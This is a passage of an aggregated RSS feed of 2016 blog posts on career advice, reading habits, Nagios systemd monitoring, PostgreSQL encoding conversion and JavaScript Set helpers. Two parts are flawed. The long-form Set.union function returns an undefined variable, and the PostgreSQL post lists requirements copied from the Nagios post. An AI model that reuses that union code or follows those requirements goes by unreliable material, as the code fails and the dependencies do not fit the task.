&lt;p&gt;So, here are a few people that I follow and have received TONS of amazing wisdom from. (I recommend getting on all of their email lists.)&lt;/p&gt;

&lt;p&gt;They deal with money, jobs, and doing good work:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="http://twitter.com/ramit"&gt;Ramit Sethi&lt;/a&gt;, 
&lt;a href="http://www.iwillteachyoutoberich.com/blog/"&gt;I Will Teach&lt;/a&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://twitter.com/brennandunn"&gt;Brennan Dunn&lt;/a&gt;, 
&lt;a href="https://doubleyourfreelancing.com/"&gt;Double Your Freelancing&lt;/a&gt;, which applies not just to freelancers but anyone trying to do good work.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://twitter.com/amyhoy"&gt;Amy Hoy&lt;/a&gt;, who’s “
&lt;a href="http://yearofhustle.com/"&gt;year of hustle&lt;/a&gt;” calendar is a great place to start.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;a href="https://twitter.com/patio11"&gt;Patrick McKenzie&lt;/a&gt;, famous around the world for tons of 
&lt;a href="https://news.ycombinator.com/threads?id=patio11"&gt;Hacker News&lt;/a&gt; comments. A great recent starting point is 
&lt;a href="https://news.ycombinator.com/item?id=11743920"&gt;the Daenerys Targaryen test&lt;/a&gt;. After that, read 
&lt;a href="http://www.kalzumeus.com/greatest-hits/"&gt;his blog&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These have been the people I share with anyone when job-related discussions pop up. Jobs 
technically don’t define us, but that’s sure hard to tell. If you don’t like your job, read the above resources. If you like your job, read the above resources.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 24 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2016/05/24/who-inspires-you-and-is-still-alive/</guid></item><item><title>The Nice Guys</title><link>https://olshansky.info/movie/the_nice_guys/</link><description>Olshansky's review of The Nice Guys</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 23 May 2016 18:13:08 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_nice_guys/</guid></item><item><title>I have no idea what to say</title><link>https://zrkrlc.com/notes/i-have-no-idea-what-to-say/1464001680/</link><description>Everyone who writes for a living will eventually write about themselves. It's almost a natural law. Heck, someone else has probably thought of a name for it. (Hint: it starts with an 'N'.)So why this piece?</description><author>Junk Heap Homotopy</author><pubDate>Mon, 23 May 2016 14:08:00 GMT</pubDate><guid isPermaLink="true">https://zrkrlc.com/notes/i-have-no-idea-what-to-say/1464001680/</guid></item><item><title>Last Week Tonight With John Oliver: Season 3</title><link>https://olshansky.info/tv/last_week_tonight_with_john_oliver_season_3/</link><description>Olshansky's review of Last Week Tonight With John Oliver: Season 3</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 23 May 2016 05:47:57 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/last_week_tonight_with_john_oliver_season_3/</guid></item><item><title>Last Week Tonight With John Oliver: Season 1</title><link>https://olshansky.info/tv/last_week_tonight_with_john_oliver_season_1/</link><description>Olshansky's review of Last Week Tonight With John Oliver: Season 1</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 23 May 2016 05:47:48 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/last_week_tonight_with_john_oliver_season_1/</guid></item><item><title>Last Week Tonight With John Oliver: Season 2</title><link>https://olshansky.info/tv/last_week_tonight_with_john_oliver_season_2/</link><description>Olshansky's review of Last Week Tonight With John Oliver: Season 2</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 23 May 2016 05:47:45 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/tv/last_week_tonight_with_john_oliver_season_2/</guid></item><item><title>OK, some new books</title><link>https://josh.works/ok-some-new-books</link><description>&lt;p&gt;Yesterday, I proclaimed “
&lt;a href="/no-new-books"&gt;No new books&lt;/a&gt;”. I spent a lot of time today thinking about that proclamation.&lt;/p&gt;

&lt;p&gt;Do I really want to limit myself to just the books that I’ve already picked for myself?&lt;/p&gt;

&lt;p&gt;Yes. Maybe.&lt;/p&gt;

&lt;p&gt;There’s a kind of book I don’t want to read any more of. That’s the “get started with a project” kind of book, or the general productivity stuff that’s floating around.&lt;/p&gt;

&lt;p&gt;Nate Eliason wrote
&lt;a href="http://www.nateliason.com/infomania/"&gt;Fighting Infomania: Why 80% of Your Reading is a Waste of Time&lt;/a&gt;, and I wholeheartedly agree.&lt;/p&gt;

&lt;p&gt;So, I’m trying to reduce the consumption of tactical knowledge when it’s not helpful, or when I cannot act on it. I want to dwell on substantial, helpful literature, and maybe even find a few books I’d like to read twice.&lt;/p&gt;

&lt;p&gt;I don’t read TONS of fiction, so I don’t see that as a habit I should try to give up.&lt;/p&gt;

&lt;p&gt;So, in short, I’m trying to reduce books that are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;written recently&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;non-fiction&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;business related&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Nate
&lt;a href="http://www.nateliason.com/infomania/"&gt;summarized&lt;/a&gt; better than I can:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;[Don’t read it…] if it doesn’t answer a specific question you’re currently asking, cover philosophical knowledge, or entertain you, then don’t read it.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Words to live by.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;PS This was prompted by my friend Alex making a sci-fi book recommendation. His recommendations are always excellent, so I felt like my priorities had to be wrong if I banned myself from following up on his suggestions.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 23 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/ok-some-new-books</guid></item><item><title>Fattura Elettronica per la PA v0.2.1</title><link>https://nicolaiarocci.com/fattura-elettronica-per-la-pa-v0-2-1/</link><description>&lt;p&gt;Ho appena pubblicato su NuGet l’ultimo aggiornamento di &lt;a href="https://github.com/FatturaElettronicaPA/FatturaElettronicaPA/"&gt;FatturaElettronicaPA&lt;/a&gt;, il package .NET per la compilazione e convalida delle fatture elettroniche per la Pubblica Amministrazione. Si tratta della &lt;a href="https://www.nuget.org/packages/FatturaElettronicaPA/0.2.1"&gt;versione 0.2.1&lt;/a&gt; che fa proprie le novità annunciate il 9 Maggio scorso:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A partire dal 9 maggio 2016 sono introdotti nuovi controlli sui file trasmessi al Sistema di Interscambio. Per consentire il necessario adeguamento al nuovo regime di verifiche, fino al 31 luglio 2016 il mancato superamento di uno o più di questi nuovi controlli non comporterà lo scarto del file ma solo una segnalazione che verrà riportata all’interno della Ricevuta di consegna o della Notifica di mancata consegna. Dal 1 agosto 2016 i file che non dovessero superare uno o più di questi controlli verranno scartati.&lt;/p&gt;</description><author>Nicola Iarocci</author><pubDate>Mon, 23 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://nicolaiarocci.com/fattura-elettronica-per-la-pa-v0-2-1/</guid></item><item><title>Monitoring SystemD Units With Nagios</title><link>https://smcleod.net/2016/05/monitoring-systemd-units-with-nagios/</link><description>&lt;p&gt;&lt;em&gt;Ever forgotten to add a critical service to monitoring?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Want to know if a service or process fails without explicitly monitoring every service on a host?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&amp;hellip;Then why not use SystemD&amp;rsquo;s existing knowledge of all the enabled services? Thanks to &amp;lsquo;Kbyte&amp;rsquo; who made a simple Nagios plugin to do just this!&lt;/p&gt;
&lt;p&gt;&lt;img src="http://kbyte.snowpenguin.org/portal/wp-content/uploads/2014/11/nagios.png" /&gt;&lt;/p&gt;
&lt;h2 id="requirements"&gt;Requirements&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Python3 (For RHEL/CentOS 7 &lt;code&gt;yum install python34&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;python-nagiosplugin &lt;a href="https://packagecloud.io/app/s_mcleod/centos7/search?q=python-nagiosplugin"&gt;My pre-built RPMs&lt;/a&gt; or &lt;code&gt;pip3 install nagiosplugin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kbytesys/pynagsystemd/blob/master/bin/pynagsystemd.py"&gt;PyNagSystemD&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>smcleod.net</author><pubDate>Mon, 23 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/05/monitoring-systemd-units-with-nagios/</guid></item><item><title>Online Conversion from SQL_ASCII to UTF8 in PostgreSQL</title><link>https://smcleod.net/2016/05/online-conversion-from-sql_ascii-to-utf8-in-postgresql/</link><description>&lt;p&gt;Scripts and source available here: &lt;a href="https://github.com/sammcj/sql_ascii_to_utf8"&gt;sql_ascii_to_utf8&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="the-goal"&gt;The Goal&lt;/h2&gt;
&lt;p&gt;To be able to take a Postgres Database which is in SQL_ASCII encoding, and import it into a UTF8 encoded database.&lt;/p&gt;
&lt;p&gt;Requirements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Python3 (For RHEL/CentOS 7 &lt;code&gt;yum install python34&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;python-nagiosplugin &lt;a href="https://packagecloud.io/app/s_mcleod/centos7/search?q=python-nagiosplugin"&gt;My pre-built RPMs&lt;/a&gt; or &lt;code&gt;pip3 install nagiosplugin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kbytesys/pynagsystemd/blob/master/bin/pynagsystemd.py"&gt;PyNagSystemD&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="the-problem"&gt;The Problem&lt;/h2&gt;
&lt;p&gt;PostreSQL will generate errors like this if it encounters any non-UTF8 byte-sequences during a database restore:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre class="chroma" tabindex="0"&gt;&lt;code class="language-shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# pg_dump -Fc test_badchar | pg_restore -d test_badchar_utf8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pg_restore: &lt;span class="o"&gt;[&lt;/span&gt;archiver &lt;span class="o"&gt;(&lt;/span&gt;db&lt;span class="o"&gt;)]&lt;/span&gt; Error &lt;span class="k"&gt;while&lt;/span&gt; PROCESSING TOC:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pg_restore: &lt;span class="o"&gt;[&lt;/span&gt;archiver &lt;span class="o"&gt;(&lt;/span&gt;db&lt;span class="o"&gt;)]&lt;/span&gt; Error from TOC entry 2839&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;26852&lt;/span&gt; TABLE DATA table101 postgres
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;pg_restore: &lt;span class="o"&gt;[&lt;/span&gt;archiver &lt;span class="o"&gt;(&lt;/span&gt;db&lt;span class="o"&gt;)]&lt;/span&gt; COPY failed &lt;span class="k"&gt;for&lt;/span&gt; table &lt;span class="s2"&gt;"table101"&lt;/span&gt;: ERROR:  invalid byte sequence &lt;span class="k"&gt;for&lt;/span&gt; encoding &lt;span class="s2"&gt;"UTF8"&lt;/span&gt;: 0x91
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CONTEXT:  COPY table101, line &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WARNING: errors ignored on restore: &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And the corresponding data will be omitted from the database (in this case, the whole table, even the rows which did not have a problem):&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Mon, 23 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/05/online-conversion-from-sql_ascii-to-utf8-in-postgresql/</guid></item><item><title>Adding missing features to Set</title><link>https://qubyte.codes/blog/adding-missing-features-to-set</link><description>&lt;p&gt;ES2015 bought a &lt;code&gt;Set&lt;/code&gt; constructor to JavaScript. It's pretty barebones,
consisting of a constructor which creates objects with a few methods for adding,
removing, checking if something is a member, and iterating over the set.
Instances have the essential quality of a set; an item is a member of the set or
not a member. Unlike an array, an item cannot be an element more than once. In
other words you can avoid using arrays and doing a lot of &lt;code&gt;indexOf&lt;/code&gt; checking.&lt;/p&gt;
&lt;p&gt;For example, abusing an array to act like a set is very common:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;var&lt;/span&gt; myCollection = [];

&lt;span class="hljs-comment"&gt;// Check if element is in the collection.&lt;/span&gt;
&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(&lt;span class="hljs-params"&gt;collection, element&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; collection.&lt;span class="hljs-title function_"&gt;indexOf&lt;/span&gt;(element) !== -&lt;span class="hljs-number"&gt;1&lt;/span&gt;;
}

&lt;span class="hljs-comment"&gt;// Add an element to the collection.&lt;/span&gt;
&lt;span class="hljs-keyword"&gt;function&lt;/span&gt; &lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(&lt;span class="hljs-params"&gt;collection, element&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (!&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(collection, element)) {
    collection.&lt;span class="hljs-title function_"&gt;push&lt;/span&gt;(element);
  }
}

&lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(myCollection, &lt;span class="hljs-number"&gt;123&lt;/span&gt;);
&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(myCollection, &lt;span class="hljs-number"&gt;123&lt;/span&gt;); &lt;span class="hljs-comment"&gt;// returns true&lt;/span&gt;
&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(myCollection, &lt;span class="hljs-number"&gt;456&lt;/span&gt;); &lt;span class="hljs-comment"&gt;// returns false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Using a set is more straight forward:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;var&lt;/span&gt; myCollection = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;();

myCollection.&lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(&lt;span class="hljs-number"&gt;123&lt;/span&gt;); &lt;span class="hljs-comment"&gt;// add an element&lt;/span&gt;
myCollection.&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(&lt;span class="hljs-number"&gt;123&lt;/span&gt;); &lt;span class="hljs-comment"&gt;// returns true&lt;/span&gt;
myCollection.&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(&lt;span class="hljs-number"&gt;456&lt;/span&gt;); &lt;span class="hljs-comment"&gt;// returns false&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That's all grand, but a colleague of mine, a programmer dipping a toe into
modern JS, noted that &lt;code&gt;Set&lt;/code&gt; lacks some functions that you might expect it to
have out of the box, such as &lt;em&gt;union&lt;/em&gt;, &lt;em&gt;intersection&lt;/em&gt; and (relative)
&lt;em&gt;complement&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;I'd implement these as static methods of &lt;code&gt;Set&lt;/code&gt;, and shim them in. Hopefully
these methods will be added to the standard in the future. Until then, here are
some possible implementations.&lt;/p&gt;
&lt;h2 id="union"&gt;Union&lt;/h2&gt;
&lt;p&gt;The union of two sets is defined as the set of elements found in either or both
sets.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;.&lt;span class="hljs-property"&gt;union&lt;/span&gt; = &lt;span class="hljs-keyword"&gt;function&lt;/span&gt; (&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; unionSet = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;();

  &lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; element &lt;span class="hljs-keyword"&gt;of&lt;/span&gt; a) {
    unionSet.&lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(element);
  }

  &lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; element &lt;span class="hljs-keyword"&gt;of&lt;/span&gt; b) {
    unionSet.&lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(element)
  }

  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; union;
};
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This function iterates over both sets, adding their elements to a new set, which
is then returned.&lt;/p&gt;
&lt;p&gt;As a one liner:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;.&lt;span class="hljs-property"&gt;union&lt;/span&gt; = &lt;span class="hljs-function"&gt;(&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) =&amp;gt;&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;([...a, ...b]);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Sets are iterable, so the spread operator can be used to expand them as arrays.
Set can also take an array as an argument, filling the constructed set object
with elements from the array. This means that both sets can be spread into an
array literal and fed back into the set constructor. Since repeated elements are
ignored, the resultant set is the union of the two input sets.&lt;/p&gt;
&lt;h2 id="intersection"&gt;Intersection&lt;/h2&gt;
&lt;p&gt;The intersection of two sets is defined as the set of elements they have in
common.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;.&lt;span class="hljs-property"&gt;intersection&lt;/span&gt; = &lt;span class="hljs-keyword"&gt;function&lt;/span&gt; (&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; [small, big] = a.&lt;span class="hljs-property"&gt;size&lt;/span&gt; &amp;lt; b.&lt;span class="hljs-property"&gt;size&lt;/span&gt; ? [a, b] : [b, a];
  &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; intersectionSet = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;();

  &lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; element &lt;span class="hljs-keyword"&gt;of&lt;/span&gt; small) {
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (big.&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(element)) {
      intersectionSet.&lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(element);
    }
  }

  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; intersectionSet;
};
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The first line of this one is an optimisation. The largest an intersection can
be is the size of the smaller set. The first line uses destructuring assignment
and a ternary to assign the smaller set to &lt;code&gt;small&lt;/code&gt; and the larger set to &lt;code&gt;big&lt;/code&gt;.
The &lt;code&gt;intersectionSet&lt;/code&gt; is then constructed, and &lt;code&gt;small&lt;/code&gt; looped over to fill it
with elements which are also in the &lt;code&gt;big&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you want a one liner for this (and don't care about the size optimisation):&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;.&lt;span class="hljs-property"&gt;intersection&lt;/span&gt; = &lt;span class="hljs-function"&gt;(&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) =&amp;gt;&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;([...a].&lt;span class="hljs-title function_"&gt;filter&lt;/span&gt;(&lt;span class="hljs-function"&gt;&lt;span class="hljs-params"&gt;element&lt;/span&gt; =&amp;gt;&lt;/span&gt; b.&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(element)));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This uses similar tricks to &lt;code&gt;Set.union&lt;/code&gt;. One set is expanded as an array, and
then filtered to an array of elements which are in the other. The filtered array
is then fed to &lt;code&gt;Set&lt;/code&gt; to get the intersection set.&lt;/p&gt;
&lt;h2 id="relative-complement"&gt;Relative complement&lt;/h2&gt;
&lt;p&gt;The relative complement of A in B is the set of those elements in B which are
not in A.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;.&lt;span class="hljs-property"&gt;complement&lt;/span&gt; = &lt;span class="hljs-keyword"&gt;function&lt;/span&gt; (&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) {
  &lt;span class="hljs-keyword"&gt;const&lt;/span&gt; complementSet = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;();

  &lt;span class="hljs-keyword"&gt;for&lt;/span&gt; (&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; element &lt;span class="hljs-keyword"&gt;of&lt;/span&gt; b) {
    &lt;span class="hljs-keyword"&gt;if&lt;/span&gt; (!a.&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(element)) {
      complementSet.&lt;span class="hljs-title function_"&gt;add&lt;/span&gt;(element);
    }
  }

  &lt;span class="hljs-keyword"&gt;return&lt;/span&gt; complementSet;
};
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This function makes a new set and iterates over the second set, filling the new
set with elements of the second set which are not in the first.&lt;/p&gt;
&lt;p&gt;As a one liner:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;.&lt;span class="hljs-property"&gt;complement&lt;/span&gt; = &lt;span class="hljs-function"&gt;(&lt;span class="hljs-params"&gt;a, b&lt;/span&gt;) =&amp;gt;&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Set&lt;/span&gt;([...b].&lt;span class="hljs-title function_"&gt;filter&lt;/span&gt;(&lt;span class="hljs-function"&gt;&lt;span class="hljs-params"&gt;element&lt;/span&gt; =&amp;gt;&lt;/span&gt; !a.&lt;span class="hljs-title function_"&gt;has&lt;/span&gt;(element)));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This uses similar tricks to the &lt;code&gt;Set.intersection&lt;/code&gt; one liner. It expands the
second set as an array, filters it down to elements not in the first, and then
instantiates a new &lt;code&gt;Set&lt;/code&gt; with the filtered array.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Sun, 22 May 2016 19:30:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/adding-missing-features-to-set</guid></item><item><title>There is always time to write clean code</title><link>https://daniellittle.dev/there-is-always-time-to-write-clean-code</link><description>The number one most important thing you can do in software development. Always leave the code base cleaner than when you found it. Always…</description><author>Daniel Little Dev</author><pubDate>Sun, 22 May 2016 03:40:02 GMT</pubDate><guid isPermaLink="true">https://daniellittle.dev/there-is-always-time-to-write-clean-code</guid></item><item><title>No New Books</title><link>https://josh.works/no-new-books</link><description>&lt;p&gt;I’ve promised myself that I won’t add any more books to my Kindle, either by purchasing them from Amazon, or downloading them online, or renting them from a Library.&lt;/p&gt;

&lt;p&gt;Why?&lt;/p&gt;

&lt;p&gt;I’ve let reading about doing things stand in the way of doing the things. No amount of educational literature is as good as a few days or weeks struggling with a task.&lt;/p&gt;

&lt;p&gt;I’m letting myself finish what I’ve already got on my Kindle, though. I’ve got 46 unread books, so this should last me through the end of 2016.&lt;/p&gt;

&lt;p&gt;Some of them are quite short (anything by Seth Godin) and others are quite long (John Keegan, First World War, Second World War). &lt;/p&gt;

&lt;p&gt; &lt;/p&gt;

&lt;p&gt;For right now, no more book purchases or downloads. That’s my rule. &lt;/p&gt;

&lt;p&gt;Want to read along, or at least know what I’ve finished reading most recently?&lt;/p&gt;

&lt;p&gt;I keep my
&lt;a href="https://www.goodreads.com/review/list/27372191?shelf=read&amp;amp;sort=date_added"&gt;Goodreads profile&lt;/a&gt; current-ish with what I’ve finished reading, and at least right now, what I’m currently reading.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 22 May 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/no-new-books</guid></item><item><title>Constraints</title><link>https://josh.works/growth/2016/05/21/constraints/</link><description>&lt;p&gt;Constraints are USUALLY seen in a negative light.&lt;/p&gt;

&lt;p&gt;Google defines it as:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;a limitation or restriction&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here’s some example constraints that we find in the world around us, which we often view as an annoyance or frustration:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;I have to be to work by 9a&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I have to get up at 7a&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I have $50 to spend on entertainment this month&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;This paper must be at least 8 pages long&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;I have only 30 minutes of time to myself every day between work and family and sleep&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;And many, many more. Some trivial, some not.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Obviously, no one pops out of bed in the morning thrilled that they have a limited amount of money to spend on something.&lt;/p&gt;

&lt;p&gt;Constraints relate to prioritization, which means you don’t actually 
have to follow them, you just have to care if the item producing the constraint matters to you.&lt;/p&gt;

&lt;p&gt;Easy example: I don’t follow many rules of writing, or anything really, when writing on my own website, because… I can do whatever I want. I have goals and ideals with my writing, but they’re more like aspirations than constraints.&lt;/p&gt;

&lt;p&gt;I can stick in unrelated images and comics wherever I want, if I so choose.&lt;/p&gt;

&lt;p&gt;&lt;img alt="XKCD Alt text: The worst part is when the sidewalk cracks are out of sync with your natural stride" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5740234659827e2ef740b0cc_1463821128698_floor_tiles.png_" /&gt; XKCD Alt text: The worst part is when the sidewalk cracks are out of sync with your natural stride&lt;/p&gt;

&lt;h2 id="embrace-as-many-constraints-as-you-can"&gt;Embrace as many constraints as you can&lt;/h2&gt;

&lt;p&gt;So what about embracing constraints?&lt;/p&gt;

&lt;p&gt;I decided to pick the first two words that popped out of a random word generator, and see if I could make something useful from it.&lt;/p&gt;

&lt;p&gt;I think I’m off to a strong start:&lt;/p&gt;

&lt;p&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_574022b6e321400346093758_1463820985781_Random_Word_Generator_-_Creative_online_tool_to_generating_randomized_words_for_brainstorming_.png_" /&gt;&lt;/p&gt;

&lt;p&gt;On to Wikipedia, to find something useful. &lt;/p&gt;

&lt;p&gt;Searching “rodent actor” didn’t turn up anything good.&lt;/p&gt;

&lt;p&gt;The “Rodent” wikipedia page came up blank when I ctrl+F’d for “movie”.&lt;/p&gt;

&lt;p&gt;So, I turned back to Google, and found this gem: 
&lt;a href="http://www.imdb.com/list/ls000471351/"&gt;Top 10 films featuring rats&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Interestingly, the #2 listing is Ratatouille, which I both watched and ate in the last few weeks. It’s delicious, and an enjoyable movie. Turns out 
&lt;a href="http://www.imdb.com/name/nm0652663/?ref_=tt_cl_t1"&gt;Patton Oswalt&lt;/a&gt; is the voice behind Remy, the movie’s protagonist rat.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://vignette4.wikia.nocookie.net/pixar/images/a/a9/Ratatouille-remy3.jpg/revision/latest/scale-to-width-down/235?cb=20150214191242"&gt;&lt;img alt="" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_574022f6d51cd44d18680e91_1463821048085_Ratatouille-remy3.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://pixar.wikia.com/wiki/File:Ratatouille-remy3.jpg"&gt;Pixar.wikia.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;He was also in 
Blade:Trinity and 
The Secret Life of Walter Mitty.&lt;/p&gt;

